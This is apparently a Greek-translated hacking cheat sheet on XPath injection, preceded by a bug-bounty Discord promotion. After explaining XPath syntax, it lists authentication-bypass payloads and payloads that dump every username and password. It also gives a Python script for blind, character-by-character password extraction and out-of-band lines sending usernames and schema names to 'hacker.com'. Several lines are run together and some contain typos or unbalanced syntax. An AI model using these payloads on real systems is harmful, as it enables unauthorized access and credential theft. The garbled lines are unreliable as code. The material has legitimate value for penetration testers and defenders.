Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters!
Hacking Insights
Engage with content that delves into the thrill and challenges of hacking
Real-Time Hack News
Keep up-to-date with fast-paced hacking world through real-time news and insights
Latest Announcements
Stay informed with the newest bug bounties launching and crucial platform updates
Join us onDiscord and start collaborating with top hackers today!
Basic Syntax
Μια τεχνική επίθεσης γνωστή ως XPath Injection χρησιμοποιείται για να εκμεταλλευτεί εφαρμογές που σχηματίζουν ερωτήματα XPath (XML Path Language) με βάση την είσοδο του χρήστη για να ερωτήσουν ή να πλοηγηθούν σε έγγραφα XML.
Nodes Described
Οι εκφράσεις χρησιμοποιούνται για την επιλογή διαφόρων κόμβων σε ένα έγγραφο XML. Αυτές οι εκφράσεις και οι περιγραφές τους συνοψίζονται παρακάτω:
nodename: Όλοι οι κόμβοι με το όνομα "nodename" επιλέγονται.
/: Η επιλογή γίνεται από τον ριζικό κόμβο.
//: Οι κόμβοι που ταιριάζουν με την επιλογή από τον τρέχοντα κόμβο επιλέγονται, ανεξάρτητα από την τοποθεσία τους στο έγγραφο.
.: Ο τρέχων κόμβος επιλέγεται.
..: Ο γονέας του τρέχοντος κόμβου επιλέγεται.
@: Οι ιδιότητες επιλέγονται.
XPath Examples
Παραδείγματα εκφράσεων διαδρομής και τα αποτελέσματά τους περιλαμβάνουν:
bookstore: Όλοι οι κόμβοι που ονομάζονται "bookstore" επιλέγονται.
/bookstore: Το ριζικό στοιχείο bookstore επιλέγεται. Σημειώνεται ότι μια απόλυτη διαδρομή προς ένα στοιχείο αναπαρίσταται από μια διαδρομή που ξεκινά με μια κάθετο (/).
bookstore/book: Όλα τα στοιχεία βιβλίου που είναι παιδιά του bookstore επιλέγονται.
//book: Όλα τα στοιχεία βιβλίου στο έγγραφο επιλέγονται, ανεξάρτητα από την τοποθεσία τους.
bookstore//book: Όλα τα στοιχεία βιβλίου που είναι απόγονοι του στοιχείου bookstore επιλέγονται, ανεξάρτητα από τη θέση τους κάτω από το στοιχείο bookstore.
//@lang: Όλες οι ιδιότητες που ονομάζονται lang επιλέγονται.
Utilization of Predicates
Οι προτάσεις χρησιμοποιούνται για την εξειδίκευση των επιλογών:
/bookstore/book[1]: Το πρώτο στοιχείο βιβλίου παιδί του στοιχείου bookstore επιλέγεται. Μια λύση για τις εκδόσεις IE 5 έως 9, οι οποίες κατατάσσουν τον πρώτο κόμβο ως [0], είναι η ρύθμιση της SelectionLanguage σε XPath μέσω JavaScript.
/bookstore/book[last()]: Το τελευταίο στοιχείο βιβλίου παιδί του στοιχείου bookstore επιλέγεται.
/bookstore/book[last()-1]: Το προτελευταίο στοιχείο βιβλίου παιδί του στοιχείου bookstore επιλέγεται.
/bookstore/book[position()<3]: Τα πρώτα δύο στοιχεία βιβλίου παιδιά του στοιχείου bookstore επιλέγονται.
//title[@lang]: Όλα τα στοιχεία τίτλου με μια ιδιότητα lang επιλέγονται.
//title[@lang='en']: Όλα τα στοιχεία τίτλου με μια τιμή ιδιότητας "lang" ίση με "en" επιλέγονται.
/bookstore/book[price>35.00]: Όλα τα στοιχεία βιβλίου του bookstore με τιμή μεγαλύτερη από 35.00 επιλέγονται.
/bookstore/book[price>35.00]/title: Όλα τα στοιχεία τίτλου των στοιχείων βιβλίου του bookstore με τιμή μεγαλύτερη από 35.00 επιλέγονται.
Handling of Unknown Nodes
Wildcard χρησιμοποιούνται για την αντιστοίχιση άγνωστων κόμβων:
*: Αντιστοιχεί σε οποιοδήποτε στοιχείο κόμβου.
@*: Αντιστοιχεί σε οποιοδήποτε κόμβο ιδιότητας.
node(): Αντιστοιχεί σε οποιονδήποτε κόμβο οποιουδήποτε τύπου.
Περαιτέρω παραδείγματα περιλαμβάνουν:
/bookstore/*: Επιλέγει όλους τους κόμβους στοιχείων παιδιών του στοιχείου bookstore.
//*: Επιλέγει όλα τα στοιχεία στο έγγραφο.
//title[@*]: Επιλέγει όλα τα στοιχεία τίτλου με τουλάχιστον μία ιδιότητα οποιουδήποτε τύπου.
All names - [pepe, mark, fino]
name
//name
//name/node()
//name/child::node()
user/name
user//name
/user/name
//user/name
All values - [pepe, peponcio, admin, mark, ...]
//user/node()
//user/child::node()
Positions
//user[position()=1]/name #pepe
//user[last()-1]/name #mark
//user[position()=1]/child::node()[position()=2] #peponcio (password)
Functions
count(//user/node()) #3*3 = 9 (count all values)
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"
Αναγνώριση & κλοπή του σχήματος
andcount(/*)=1#rootandcount(/*[1]/*)=2#count(root) = 2 (a,c)andcount(/*[1]/*[1]/*)=1#count(a) = 1 (b)andcount(/*[1]/*[1]/*[1]/*)=0#count(b) = 0andcount(/*[1]/*[2]/*)=3#count(c) = 3 (d,e,f)andcount(/*[1]/*[2]/*[1]/*)=0#count(d) = 0andcount(/*[1]/*[2]/*[2]/*)=0#count(e) = 0andcount(/*[1]/*[2]/*[3]/*)=1#count(f) = 1 (g)andcount(/*[1]/*[2]/*[3]/[1]*)=0#count(g) = 0#The previous solutions are the representation of a schema like the following#(at this stage we don't know the name of the tags, but jus the schema)<root><a><b></b></a><c><d></d><e></e><f><h></h></f></c></root>andname(/*[1])="root"#Confirm the name of the first tag is "root"andsubstring(name(/*[1]/*[1]),1,1)="a"#First char of name of tag `<a>` is "a"and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>`is codepoint 105 ("i") (https://codepoints.net/)
#Stealing the schema via OOBdoc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
Authentication Bypass
Παράδειγμα ερωτημάτων:
string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';
OR παράκαμψη σε χρήστη και κωδικό (ίδια τιμή και στους δύο)
' or '1'='1
" or "1"="1
' or ''='
" or ""="
string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())
Select account
Select the account using the username and use one of the previous values in the password field
Κατάχρηση της ένεσης null
Username: ' or 1]%00
Διπλό OR στο Όνομα Χρήστη ή στον Κωδικό (είναι έγκυρο με μόνο 1 ευάλωτο πεδίο)
ΣΗΜΑΝΤΙΚΟ: Σημειώστε ότι η "και" είναι η πρώτη λειτουργία που εκτελείται.
Bypass with first match
(This requests are also valid without spaces)
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
string(//user[name/text()='' or true() or '' and password/text()='']/account/text())
Select account
'or string-length(name(.))<10 or' #Select account with length(name)<10
'or contains(name,'adm') or' #Select first account having "adm" in the name
'or contains(.,'adm') or' #Select first account having "adm" in the current value
'or position()=2 or' #Select 2º account
string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())
Select account (name known)
admin' or '
admin' or '1'='2
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())
Εξαγωγή συμβολοσειρών
Η έξοδος περιέχει συμβολοσειρές και ο χρήστης μπορεί να χειριστεί τις τιμές για να αναζητήσει:
/user/username[contains(., '+VALUE+')]
') or 1=1 or (' #Get all names
') or 1=1] | //user/password[('')=(' #Get all names and passwords
') or 2=1] | //user/node()[('')=(' #Get all values
')] | //./node()[('')=(' #Get all values
')] | //node()[('')=(' #Get all values
') or 1=1] | //user/password[('')=(' #Get all names and passwords
')] | //password%00 #All names and passwords (abusing null injection)
')]/../*[3][text()!=(' #All the passwords
')] | //user/*[1] | a[(' #The ID of all users
')] | //user/*[2] | a[(' #The name of all users
')] | //user/*[3] | a[(' #The password of all users
')] | //user/*[4] | a[(' #The account of all users
Blind Explotation
Πάρτε το μήκος μιας τιμής και εξαγάγετέ την μέσω συγκρίσεων:
' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''='#True if length equals 4' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''='#True is first equals "a"substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value
Παράδειγμα Python
import requests, stringflag =""l =0alphabet = string.ascii_letters + string.digits +"{}_()"for i inrange(30):r = requests.get("http://example.com?action=user&userid=2 and string-length(password)="+str(i))if ("TRUE_COND"in r.text):l = ibreakprint("[+] Password length: "+str(l))for i inrange(1, l +1):#print("[i] Looking for char number " + str(i))for al in alphabet:r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)if ("TRUE_COND"in r.text):flag += alprint("[+] Flag: "+ flag)break
doc(concat("http://hacker.com/oob/", RESULTS))doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))#Instead of doc() you can use the function doc-availabledoc-available(concat("http://hacker.com/oob/", RESULTS))#the doc available will respond true or false depending if the doc exists,#user not(doc-available(...)) to invert the result if you need to